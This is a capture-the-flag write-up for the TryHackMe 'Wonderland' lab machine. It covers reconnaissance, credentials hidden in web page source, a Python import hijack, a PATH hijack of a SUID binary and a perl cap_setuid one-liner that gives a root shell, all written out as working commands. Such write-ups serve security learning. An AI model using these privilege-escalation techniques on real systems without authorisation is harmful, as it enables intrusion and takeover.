Intro
Wonderland is probably one of my favorite machines on TryHackMe, not because itβs realistic or anything, but because it teaches a lot of concepts if you havenβt been exposed to them before, and I also like literature references. Iβll start by following a trail of directories on a webpage to get some credentials which I can use to get on the machine. From there, Iβll hijack a python program and a bash script to move laterally, and finally abuse linux capabilities to get root.
Recon
Something, something nmap.
kali@kali:~/ctf/thm/wonderland$ rustscan --ulimit 5000 10.10.239.191 -- -A -oN scans/initscan.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
π΅ https://admin.tryhackme.com
[~] The config file is expected to be at "/home/kali/.config/rustscan/config.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.239.191:22
Open 10.10.239.191:80
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -oN scans/initscan.txt -vvv -p 22,80 10.10.239.191
[unimportant]
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe20sKMgKSMTnyRTmZhXPxn+xLggGUemXZLJDkaGAkZSMgwM3taNTc8OaEku7BvbOkqoIya4ZI8vLuNdMnESFfB22kMWfkoB0zKCSWzaiOjvdMBw559UkLCZ3bgwDY2RudNYq5YEwtqQMFgeRCC1/rO4h4Hl0YjLJufYOoIbK0EPaClcDPYjp+E1xpbn3kqKMhyWDvfZ2ltU1Et2MkhmtJ6TH2HA+eFdyMEQ5SqX6aASSXM7OoUHwJJmptyr2aNeUXiytv7uwWHkIqk3vVrZBXsyjW4ebxC3v0/Oqd73UWd5epuNbYbBNls06YZDVI8wyZ0eYGKwjtogg5+h82rnWN
| 256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHH2gIouNdIhId0iND9UFQByJZcff2CXQ5Esgx1L96L50cYaArAW3A3YP3VDg4tePrpavcPJC2IDonroSEeGj6M=
| 256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAsWAdr9g04J7Q8aeiWYg03WjPqGVS6aNf/LF+/hMyKh
80/tcp open http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nothing out of the ordinary yet, except for the fact that the webpage is presumably written in Golang. Letβs take a look at that webpage.
A whole lot of nothing. Iβll feroxbuster without recursion (because it can sometimes blow up a server) and see if I can find anything useful.
kali@kali:~/ctf/thm/wonderland$ feroxbuster -u http://10.10.239.191 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html --no-recursion
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.3.3
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.239.191
π Threads β 50
π Wordlist β /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
π Status Codes β [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.3.3
π Config File β /etc/feroxbuster/ferox-config.toml
π² Extensions β [txt, html]
π« Do Not Recurse β true
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Cancel Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
301 0l 0w 0c http://10.10.239.191/img
301 0l 0w 0c http://10.10.239.191/index.html
301 0l 0w 0c http://10.10.239.191/r
[Didn't finish the scan because it would have taken a while]
That /r
directory is weird. If we navigate to http://10.10.239.191/r/
, we see this.
The source code doesnβt have comments either.
Shell as alice
Letβs have another go with feroxbuster and see what happens, and this time, Iβll add recursion because it just seems to be static pages (and I shouldnβt break the site as easily).
kali@kali:~/ctf/thm/wonderland$ feroxbuster -u http://10.10.239.191/r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.3.3
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.239.191/r
π Threads β 50
π Wordlist β /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
π Status Codes β [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.3.3
π Config File β /etc/feroxbuster/ferox-config.toml
π² Extensions β [txt, html]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Cancel Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
301 0l 0w 0c http://10.10.239.191/r/index.html
301 0l 0w 0c http://10.10.239.191/r/a
301 0l 0w 0c http://10.10.239.191/r/a/index.html
301 0l 0w 0c http://10.10.239.191/r/a/b
301 0l 0w 0c http://10.10.239.191/r/a/b/index.html
301 0l 0w 0c http://10.10.239.191/r/a/b/b
301 0l 0w 0c http://10.10.239.191/r/a/b/b/index.html
301 0l 0w 0c http://10.10.239.191/r/a/b/b/i
[stopped early again because time]
I think you see where this is going. At http://10.10.239.191/r/a/b/b/i/t/
, we see this:
I went to look at the source code, and I found what are probably credentials.
<!DOCTYPE html>
<head>
<title>Enter wonderland</title>
<link rel="stylesheet" type="text/css" href="/main.css">
</head>
<body>
<h1>Open the door and enter wonderland</h1>
<p>"Oh, youβre sure to do that," said the Cat, "if you only walk long enough."</p>
<p>Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?"
</p>
<p>"In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving
the other paw, "lives a March Hare. Visit either you like: theyβre both mad."</p>
<p style="display: none;">alice:HowDothThe************************************</p>
<img src="/img/thm-wonderland/alice_door.png" style="height: 50rem;">
</body>
Letβs try signing into SSH.
kali@kali:~/ctf/thm/wonderland$ ssh alice@10.10.239.191
The authenticity of host '10.10.239.191 (10.10.239.191)' can't be established.
ECDSA key fingerprint is SHA256:HUoT05UWCcf3WRhR5kF7yKX1yqUvNhjqtxuUMyOeqR8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.239.191' (ECDSA) to the list of known hosts.
alice@10.10.239.191's password:
Last login: Mon May 25 16:37:21 2020 from 192.168.170.1
alice@wonderland:~$
I would grab the user flag, but it appears everything is what it isnβt.
alice@wonderland:~$ ls -la
total 40
drwxr-xr-x 5 alice alice 4096 May 25 2020 .
drwxr-xr-x 6 root root 4096 May 25 2020 ..
lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history -> /dev/null
-rw-r--r-- 1 alice alice 220 May 25 2020 .bash_logout
-rw-r--r-- 1 alice alice 3771 May 25 2020 .bashrc
drwx------ 2 alice alice 4096 May 25 2020 .cache
drwx------ 3 alice alice 4096 May 25 2020 .gnupg
drwxrwxr-x 3 alice alice 4096 May 25 2020 .local
-rw-r--r-- 1 alice alice 807 May 25 2020 .profile
-rw------- 1 root root 66 May 25 2020 root.txt
-rw-r--r-- 1 root root 3577 May 25 2020 walrus_and_the_carpenter.py
Shell as rabbit
Normally, I would default to getting linpeas on here, but since I have a password, itβs worth just checking sudo -l
to see what alice might be able to run as sudo.
alice@wonderland:~$ sudo -l
[sudo] password for alice:
Matching Defaults entries for alice on wonderland:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alice may run the following commands on wonderland:
(rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
We can check out what walrus_and_the_carpenter.py
is.
import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright β
And this was odd, because it was
The middle of the night.
The moon was shining sulkily,
Because she thought the sun
Had got no business to be there
After the day was done β
"Itβs very rude of him," she said,
"To come and spoil the fun!"
...[trimmed for brevity]...
"I weep for you," the Walrus said.
"I deeply sympathize."
With sobs and tears he sorted out
Those of the largest size.
Holding his pocket handkerchief
Before his streaming eyes.
"O Oysters," said the Carpenter.
"Youβve had a pleasant run!
Shall we be trotting home again?"
But answer came there none β
And that was scarcely odd, because
Theyβd eaten every one."""
for i in range(10):
line = random.choice(poem.split("\n"))
print("The line was:\t", line)
Usually, python is most easily abused when using a function like eval()
where you can try and inject commands to spawn a new shell. However, this program is unmodifiable by us, and there isnβt any user input. But, we can always check the Python import PATH (not sure what itβs actually called but thatβs what Iβm going with).
alice@wonderland:~$ python3 -c 'import sys; print(sys.path)'
['', '/usr/lib/python36.zip', '/usr/lib/python3.6', '/usr/lib/python3.6/lib-dynload', '/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages']
Since python is checking the current directory first, we can actually do some hijacking. This is something that shows up in a bunch of different forms in CTFs/security (e.g. DLL Hijacking, function hooking), but the general idea is that we replace a dependency/library with one of our own, causing a program to run our code instead of what was intended.
In aliceβs home directory we can create a new random.py
file as follows:
alice@wonderland:~$ echo "import os" > random.py
alice@wonderland:~$ echo "os.system('/bin/bash')" >> random.py
alice@wonderland:~$ cat random.py
import os
os.system('/bin/bash')
When the walrus python script decides to import random
, rather than import from the library that comes with python, it will import our βmaliciousβ script instead. Since weβre running with the privileges as rabbit, weβll spawn a shell as that user, instead of a new alice shell.
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit@wonderland:~$ id
uid=1002(rabbit) gid=1002(rabbit) groups=1002(rabbit)
Shell as hatter
We donβt have a password for rabbit, so weβre not going to be running anything with sudo anytime soon. Letβs check out rabbitβs home directory.
rabbit@wonderland:~$ cd /home/rabbit
rabbit@wonderland:/home/rabbit$ ls -la
total 40
drwxr-x--- 2 rabbit rabbit 4096 May 25 2020 .
drwxr-xr-x 6 root root 4096 May 25 2020 ..
lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit 220 May 25 2020 .bash_logout
-rw-r--r-- 1 rabbit rabbit 3771 May 25 2020 .bashrc
-rw-r--r-- 1 rabbit rabbit 807 May 25 2020 .profile
-rwsr-sr-x 1 root root 16816 May 25 2020 teaParty
The teaParty
binary is interesting. We see that it has a privilege marked with an s
, indicating SUID, we could possibly use this to escalate to root. Letβs try running it to see what it does.
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Wed, 08 Sep 2021 16:06:22 +0000
Ask very nicely, and I will give you some tea while you wait for him
After playing around with this, it seems like the message will always display a time that is a couple hours past the current time. rude. How is it getting my time correctly though? Iβll have to take this binary offline so I can analyze it, since strings
doesnβt exist on the remote machine. My goto exfiltration method is pyftpdlib
, but youβre free to do what you want.
Normally, I would use ghidra
for reverse engineering, but I think thatβs a little overkill. Running strings gives us the following.
kali@kali:~/ctf/thm/wonderland$ strings teaParty
/lib64/ld-linux-x86-64.so.2
2U~4
libc.so.6
setuid
puts
getchar
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
Welcome to the tea party!
The Mad Hatter will be here soon.
/bin/echo -n 'Probably by ' && date --date='next hour' -R
Ask very nicely, and I will give you some tea while you wait for him
Segmentation fault (core dumped)
;*3$"
GCC: (Debian 8.3.0-6) 8.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7325
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
teaParty.c
...[trimmed for brevity]...
At first glance, it doesnβt seem like we can do anything with this. However, notice how echo
is being called with an absolute path, but date
is being called by its name, which leaves it open for another hijack. If we can stick the rabbit home directory at the beginning of the PATH, and make our own date
function in the home directory, we can easily get a new shell as a different user (thereβs a setuid
command buried in the strings output).
rabbit@wonderland:/home/rabbit$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
rabbit@wonderland:/home/rabbit$ echo "#!/bin/bash" > date
bash: !/bin/bash: event not found
rabbit@wonderland:/home/rabbit$ echo "#\!/bin/bash" > date
rabbit@wonderland:/home/rabbit$ echo "/bin/bash" >> date
rabbit@wonderland:/home/rabbit$ chmod +x date
rabbit@wonderland:/home/rabbit$ export PATH=/home/rabbit:$PATH
rabbit@wonderland:/home/rabbit$ echo $PATH
/home/rabbit:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$ id
uid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)
Shell as root
Letβs check out hatterβs home directory.
hatter@wonderland:/home/rabbit$ cd /home/hatter
hatter@wonderland:/home/hatter$ ls -la
total 28
drwxr-x--- 3 hatter hatter 4096 May 25 2020 .
drwxr-xr-x 6 root root 4096 May 25 2020 ..
lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history -> /dev/null
-rw-r--r-- 1 hatter hatter 220 May 25 2020 .bash_logout
-rw-r--r-- 1 hatter hatter 3771 May 25 2020 .bashrc
drwxrwxr-x 3 hatter hatter 4096 May 25 2020 .local
-rw-r--r-- 1 hatter hatter 807 May 25 2020 .profile
-rw------- 1 hatter hatter 29 May 25 2020 password.txt
Surely thereβs something good in password.txt
.
hatter@wonderland:/home/hatter$ cat password.txt
WhyIs***********************
Hmmm. It doesnβt seem to be the root password, but it might be hatterβs password.
hatter@wonderland:/home/hatter$ su hatter
Password:
hatter@wonderland:~$ id
uid=1003(hatter) gid=1003(hatter) groups=1003(hatter)
hatter@wonderland:~$ sudo -l
[sudo] password for hatter:
Sorry, user hatter may not run sudo on wonderland.
At least weβre actually signed in as hatter now. After some manual poking around, I decided to run linpeas.sh
. This result was pretty interesting.
ββββββββββββ£ Capabilities
β https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Shell capabilities:
0x0000000000000000=
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Files with capabilities (limited to 50):
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
If we look at the link attached we learn the following.
Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.
/usr/bin/perl
has the set_uid
capability, meaning we can just set our UID to root. After reading a little bit more from hacktricks, we can use GTFOBins to find the command that will take us to root
hatter@wonderland:/tmp$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# id
uid=0(root) gid=1003(hatter) groups=1003(hatter)
I can then grab the user flag (which is in the root directory), and the root flag which we missed from before.
# cat /root/user.txt
thm{"Cu***********************}
# cat /home/alice/root.txt
thm{Twinkle***************************************************}